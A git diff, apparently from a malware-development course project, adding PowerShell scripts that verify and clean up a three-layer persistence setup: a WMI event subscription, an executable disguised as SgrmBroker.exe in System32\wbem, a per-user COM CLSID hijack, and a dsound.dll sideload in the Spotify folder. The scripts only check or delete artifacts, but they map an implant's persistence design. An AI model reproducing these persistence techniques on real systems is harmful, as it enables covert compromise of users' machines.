+#define DBG(fmt, ...) ((void)0)
+#endif
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// DBG_LAST_ERROR & DBG_HEX_ERROR
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#if defined(_DEBUG) || defined(_DBG_FORCE)
+
+#define DBG_LAST_ERROR(APINAME) \
+ do { \
+ DWORD _dwLastErr = GetLastError(); \
+ DBG("[!] %s Failed With Error: %lu", APINAME, _dwLastErr); \
+ SetLastError(_dwLastErr); \
+ } while (0)
+#define DBG_HEX_ERROR(APINAME, HEXCODE) DBG("[!] %s Failed With Error: 0x%0.8X", APINAME, HEXCODE)
+
+#else
+
+#define DBG_LAST_ERROR(APINAME) ((void)0)
+#define DBG_HEX_ERROR(APINAME, ERROR) ((void)0)
+
+#endif
+
+// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+#endif // !DEBUG_MACROS_H
\ No newline at end of file
diff --git a/CleanupScript.ps1 b/CleanupScript.ps1
new file mode 100644
index 0000000..7910ca9
--- /dev/null
+++ b/CleanupScript.ps1
@@ -0,0 +1,126 @@
+# ==================================================================================================
+# CLEANUP SCRIPT
+# ==================================================================================================
+
+$objectPrefix = "MaldevAcademy"
+
+$wmiExeDir = "C:\Windows\System32\wbem"
+$wmiExeName = "SgrmBroker.exe"
+$wmiExePath = "$wmiExeDir\$wmiExeName"
+
+$comDllDir = "$env:APPDATA\Microsoft\Common"
+
+$spotifyDir = "$env:APPDATA\Spotify"
+$sideloadDll = "dsound.dll"
+$forwardDll = "dspatial.dll"
+
+$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
+$configKey = "HKCU:\Software\$objectPrefix\XXXX"
+
+# ==================================================================================================
+# ADMIN PRIV ARE REQUIRED TO CLEANUP WMI AND SYSTEM32\WBEM\SgrmBroker.exe
+# ==================================================================================================
+
+if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
+{
+ Write-Host "[!] Script must be run as Administrator" -ForegroundColor Red
+ Exit
+}
+
+# ==================================================================================================
+# LAYER 1 - WMI PERSISTENCE
+# ==================================================================================================
+Write-Host "[*] Cleaning Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
+
+$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
+if ($wmiFilter) {
+ $wmiFilter | ForEach-Object {
+ $_ | Remove-WMIObject
+ Write-Host "[+] Removed WMI Event Filter: $($_.Name)" -ForegroundColor Green
+ }
+} else {
+ Write-Host "[i] Already Cleaned Up: WMI Event Filter" -ForegroundColor Yellow
+}
+
+$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
+if ($wmiConsumer) {
+ $wmiConsumer | ForEach-Object {
+ $_ | Remove-WMIObject
+ Write-Host "[+] Removed WMI Event Consumer: $($_.Name)" -ForegroundColor Green
+ }
+} else {
+ Write-Host "[i] Already Cleaned Up: WMI Event Consumer" -ForegroundColor Yellow
+}
+
+$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
+if ($wmiBinding) {
+ $wmiBinding | ForEach-Object {
+ $_ | Remove-WMIObject
+ Write-Host "[+] Removed WMI Filter-Consumer Binding" -ForegroundColor Green
+ }
+} else {
+ Write-Host "[i] Already Cleaned Up: WMI Filter-Consumer Binding" -ForegroundColor Yellow
+}
+
+# Only remove our specific EXE — do NOT delete the wbem directory
+if (Test-Path $wmiExePath) {
+ Remove-Item -Path $wmiExePath -Force
+ Write-Host "[+] Removed WMI Executable: $wmiExePath" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $wmiExePath" -ForegroundColor Yellow
+}
+
+# ==================================================================================================
+# LAYER 2 - COM HIJACK
+# ==================================================================================================
+Write-Host "`n[*] Cleaning Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
+
+if (Test-Path $comClsidKey) {
+ Remove-Item -Path $comClsidKey -Recurse -Force
+ Write-Host "[+] Removed COM Registry Key: $comClsidKey" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $comClsidKey" -ForegroundColor Yellow
+}
+
+if (Test-Path $comDllDir) {
+ Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
+ Write-Host "[+] Removing: $($_.FullName)" -ForegroundColor Green
+ }
+ Remove-Item -Path $comDllDir -Recurse -Force
+ Write-Host "[+] Removed COM DLL Directory: $comDllDir" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $comDllDir" -ForegroundColor Yellow
+}
+
+# ==================================================================================================
+# LAYER 3 - DLL SIDELOAD
+# ==================================================================================================
+Write-Host "`n[*] Cleaning Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
+
+if (Test-Path "$spotifyDir\$sideloadDll") {
+ Remove-Item -Path "$spotifyDir\$sideloadDll" -Force
+ Write-Host "[+] Removed Sideload DLL: $spotifyDir\$sideloadDll" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $spotifyDir\$sideloadDll" -ForegroundColor Yellow
+}
+
+if (Test-Path "$spotifyDir\$forwardDll") {
+ Remove-Item -Path "$spotifyDir\$forwardDll" -Force
+ Write-Host "[+] Removed Forward DLL: $spotifyDir\$forwardDll" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $spotifyDir\$forwardDll" -ForegroundColor Yellow
+}
+
+# ==================================================================================================
+# PAYLOAD CONFIGURATION
+# ==================================================================================================
+Write-Host "`n[*] Cleaning Payload Configuration..." -ForegroundColor DarkCyan
+
+if (Test-Path $configKey) {
+ Remove-Item -Path $configKey -Recurse -Force
+ Write-Host "[+] Removed Configuration Registry Key: $configKey" -ForegroundColor Green
+} else {
+ Write-Host "[i] Already Cleaned Up: $configKey" -ForegroundColor Yellow
+}
+
+Write-Host "`n[+] Cleanup Complete" -ForegroundColor DarkCyan
\ No newline at end of file
diff --git a/VerifyPersistence.ps1 b/VerifyPersistence.ps1
new file mode 100644
index 0000000..c9e43d6
--- /dev/null
+++ b/VerifyPersistence.ps1
@@ -0,0 +1,148 @@
+# ==================================================================================================
+# VERIFY SCRIPT
+# ==================================================================================================
+
+$objectPrefix = "MaldevAcademy"
+
+$wmiExeDir = "C:\Windows\System32\wbem"
+$wmiExeName = "SgrmBroker.exe"
+$wmiExePath = "$wmiExeDir\$wmiExeName"
+
+$comDllDir = "$env:APPDATA\Microsoft\Common"
+$comPayloadDll = "MsComHost.dll"
+$comForwardDll = "Common.StateRepositoryRM.dll"
+
+$spotifyDir = "$env:APPDATA\Spotify"
+$sideloadDll = "dsound.dll"
+$forwardDll = "dspatial.dll"
+
+$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
+$configKey = "HKCU:\Software\$objectPrefix\XXXX"
+
+# ==================================================================================================
+# LOCATE DUMPBIN.EXE
+# ==================================================================================================
+
+$dumpbin = Get-ChildItem -Path "C:\Program Files\Microsoft Visual Studio" -Recurse -Filter "dumpbin.exe" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName
+
+if ($dumpbin) {
+ Write-Host "[+] Found dumpbin.exe: $dumpbin`n" -ForegroundColor Green
+} else {
+ Write-Host "[!] dumpbin.exe Not Found - Export Inspection Will Be Skipped" -ForegroundColor Red
+}
+
+# ==================================================================================================
+# LAYER 1 - WMI PERSISTENCE
+# ==================================================================================================
+Write-Host "[*] Verifying Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
+
+$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
+if ($wmiFilter) {
+ Write-Host "[+] WMI Event Filter Found: $($wmiFilter.Name)" -ForegroundColor Green
+ Write-Host " Query: $($wmiFilter.Query)" -ForegroundColor Gray
+} else {
+ Write-Host "[-] WMI Event Filter Not Found" -ForegroundColor Yellow
+}
+
+$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
+if ($wmiConsumer) {
+ Write-Host "[+] WMI Event Consumer Found: $($wmiConsumer.Name)" -ForegroundColor Green
+} else {
+ Write-Host "[-] WMI Event Consumer Not Found" -ForegroundColor Yellow
+}
+
+$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
+if ($wmiBinding) {
+ Write-Host "[+] WMI Filter-Consumer Binding Found" -ForegroundColor Green
+ Write-Host " Filter: $($wmiBinding.Filter)" -ForegroundColor Gray
+ Write-Host " Consumer: $($wmiBinding.Consumer)" -ForegroundColor Gray
+} else {
+ Write-Host "[-] WMI Filter-Consumer Binding Not Found" -ForegroundColor Yellow
+}
+
+if (Test-Path $wmiExePath) {
+ $wmiExeFile = Get-Item $wmiExePath
+ Write-Host "[+] WMI Executable Found: $wmiExePath [$([math]::Round($wmiExeFile.Length / 1KB, 1)) KB]" -ForegroundColor Green
+ Write-Host " CreationTime: $($wmiExeFile.CreationTime)" -ForegroundColor Gray
+ Write-Host " LastWriteTime: $($wmiExeFile.LastWriteTime)" -ForegroundColor Gray
+} else {
+ Write-Host "[-] WMI Executable Not Found: $wmiExePath" -ForegroundColor Yellow
+}
+
+# ==================================================================================================
+# LAYER 2 - COM HIJACK
+# ==================================================================================================
+Write-Host "`n[*] Verifying Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
+
+if (Test-Path $comClsidKey) {
+ Write-Host "[+] COM CLSID Key Found: $comClsidKey" -ForegroundColor Green
+ $inprocKey = "$comClsidKey\InProcServer32"
+ if (Test-Path $inprocKey) {
+ $dllPath = (Get-ItemProperty -Path $inprocKey).'(default)'
+ $threadingModel = (Get-ItemProperty -Path $inprocKey).ThreadingModel
+ Write-Host " Default: $dllPath" -ForegroundColor Gray
+ Write-Host " ThreadingModel: $threadingModel" -ForegroundColor Gray
+ }
+} else {
+ Write-Host "[-] COM CLSID Key Not Found" -ForegroundColor Yellow
+}
+
+if (Test-Path $comDllDir) {
+ Write-Host "[+] COM DLL Directory Found: $comDllDir" -ForegroundColor Green
+ Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
+ Write-Host " $($_.FullName) [$([math]::Round($_.Length / 1KB, 1)) KB]" -ForegroundColor Gray
+ Write-Host " CreationTime: $($_.CreationTime)" -ForegroundColor DarkGray
+ Write-Host " LastWriteTime: $($_.LastWriteTime)" -ForegroundColor DarkGray
+
+ if ($dumpbin -and ($_.Name -eq $comPayloadDll -or $_.Name -eq $comForwardDll)) {
+ Write-Host " Exports:" -ForegroundColor DarkGray
+ & $dumpbin /exports $_.FullName 2>$null |
+ Where-Object { $_ -match "^\s+\d+\s" } |
+ ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
+ }
+ }
+} else {
+ Write-Host "[-] COM DLL Directory Not Found: $comDllDir" -ForegroundColor Yellow
+}
+
+# ==================================================================================================
+# LAYER 3 - DLL SIDELOAD
+# ==================================================================================================
+Write-Host "`n[*] Verifying Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
+
+foreach ($dll in @($sideloadDll, $forwardDll)) {
+ $fullPath = "$spotifyDir\$dll"
+ if (Test-Path $fullPath) {
+ $file = Get-Item $fullPath
+ Write-Host "[+] Found: $fullPath [$([math]::Round($file.Length / 1KB, 1)) KB]" -ForegroundColor Green
+ Write-Host " CreationTime: $($file.CreationTime)" -ForegroundColor DarkGray
+ Write-Host " LastWriteTime: $($file.LastWriteTime)" -ForegroundColor DarkGray
+
+ if ($dumpbin) {
+ Write-Host " Exports:" -ForegroundColor DarkGray
+ & $dumpbin /exports $fullPath 2>$null |
+ Where-Object { $_ -match "^\s+\d+\s" } |
+ ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
+ }
+ } else {
+ Write-Host "[-] Not Found: $fullPath" -ForegroundColor Yellow
+ }
+}
+
+# ==================================================================================================
+# PAYLOAD CONFIGURATION
+# ==================================================================================================
+Write-Host "`n[*] Verifying Payload Configuration..." -ForegroundColor DarkCyan
+
+if (Test-Path $configKey) {
+ Write-Host "[+] Configuration Registry Key Found: $configKey" -ForegroundColor Green
+ Get-ItemProperty -Path $configKey | Select-Object -Property * -ExcludeProperty PS* | ForEach-Object {
+ $_.PSObject.Properties | ForEach-Object {
+ Write-Host " $($_.Name): $($_.Value) [0x$($_.Value.ToString('X8'))]" -ForegroundColor Gray
+ }
+ }
+} else {
+ Write-Host "[-] Configuration Registry Key Not Found: $configKey" -ForegroundColor Yellow
+}
+
+Write-Host "`n[+] Verification Complete" -ForegroundColor DarkCyan
\ No newline at end of file